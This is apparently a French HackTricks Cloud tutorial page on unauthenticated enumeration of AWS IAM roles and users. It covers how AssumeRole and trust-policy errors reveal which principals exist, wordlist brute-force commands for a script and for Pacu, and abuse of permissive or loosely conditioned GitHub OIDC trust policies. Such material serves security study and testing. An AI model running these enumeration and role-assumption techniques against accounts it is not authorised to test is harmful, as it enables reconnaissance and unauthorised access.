AWS - IAM & STS Unauthenticated Enum
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
ĂnumĂ©rer les rĂŽles et les noms dâutilisateur dans un compte
Assume Role Brute-Force
Caution
Cette technique ne fonctionne plus car, que le rĂŽle existe ou non, vous obtenez toujours cette erreur :
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdasVous pouvez tester cela en exécutant :
aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example
Tenter de assumer un rĂŽle sans les permissions nĂ©cessaires dĂ©clenche un message dâerreur AWS. Par exemple, si non autorisĂ©, AWS peut renvoyer :
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
Ce message confirme lâexistence du rĂŽle mais indique que sa assume role policy nâautorise pas votre prise de rĂŽle. En revanche, tenter de assumer un rĂŽle non existant entraĂźne une erreur diffĂ©rente :
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
Fait intĂ©ressant, cette mĂ©thode de distinction entre roles existants et non-existants sâapplique mĂȘme entre diffĂ©rents comptes AWS. Avec un AWS account ID valide et une wordlist ciblĂ©e, il est possible dâĂ©numĂ©rer les roles prĂ©sents dans le compte sans rencontrer de limitations inhĂ©rentes.
Vous pouvez utiliser ce script pour énumérer les principals potentiels en abusant de ce problÚme.
Trust Policies : Brute-Force Cross Account roles and users
La configuration ou la mise Ă jour dâune IAM roleâs trust policy implique de dĂ©finir quelles ressources ou services AWS sont autorisĂ©s Ă assumer ce role et Ă obtenir des credentials temporaires. Si la ressource spĂ©cifiĂ©e dans la policy existe, la trust policy est enregistrĂ©e avec succĂšs. En revanche, si la ressource nâexiste pas, une erreur est gĂ©nĂ©rĂ©e, indiquant quâun principal invalide a Ă©tĂ© fourni.
Warning
Notez que dans cette resource vous pouvez spécifier un cross account role ou user :
arn:aws:iam::acc_id:role/role_namearn:aws:iam::acc_id:user/user_name
Voici un exemple de policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}
GUI
Ceci est lâerreur que vous trouverez si vous utilisez un role qui nâexiste pas. Si le role existe, la policy sera enregistrĂ©e sans aucune erreur. (Lâerreur concerne une mise Ă jour, mais cela fonctionne aussi lors de la crĂ©ation)
.png)
CLI
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}
# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
Vous pouvez automatiser ce processus avec https://github.com/carlospolop/aws_tools
bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt
Ou en utilisant Pacu:
run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txtrun iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt- The
adminrole used in the example is a rĂŽle de votre compte pouvant ĂȘtre usurpĂ© par pacu pour crĂ©er les policies dont il a besoin pour lâĂ©numĂ©ration
Privesc
Dans le cas oĂč le rĂŽle est mal configurĂ© et permet Ă nâimporte qui de lâassumer :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
Lâattaquant pourrait simplement lâassumer.
Fédération OIDC par un tiers
Imaginez que vous parveniez Ă lire un Github Actions workflow qui accĂšde Ă un role dans AWS.
Cette relation de confiance pourrait donner accĂšs Ă un role avec la trust policy suivante :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
Cette stratĂ©gie de confiance peut ĂȘtre correcte, mais le manque de conditions supplĂ©mentaires devrait vous rendre mĂ©fiant.
Ceci est dĂ» au fait que le rĂŽle prĂ©cĂ©dent peut ĂȘtre assumĂ© par NâIMPORTE QUI sur Github Actions ! Vous devriez prĂ©ciser dans les conditions aussi dâautres Ă©lĂ©ments tels que le nom de lâorganisation, le nom du repo, lâenv, la brancheâŠ
Une autre mauvaise configuration possible est dâajouter une condition comme suit :
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
Notez que le wildcard (*) avant les deux-points (:). Vous pouvez créer une org telle que org_name1 et assume the role depuis une Github Action.
Références
- https://www.youtube.com/watch?v=8ZXRw4Ry3mQ
- https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

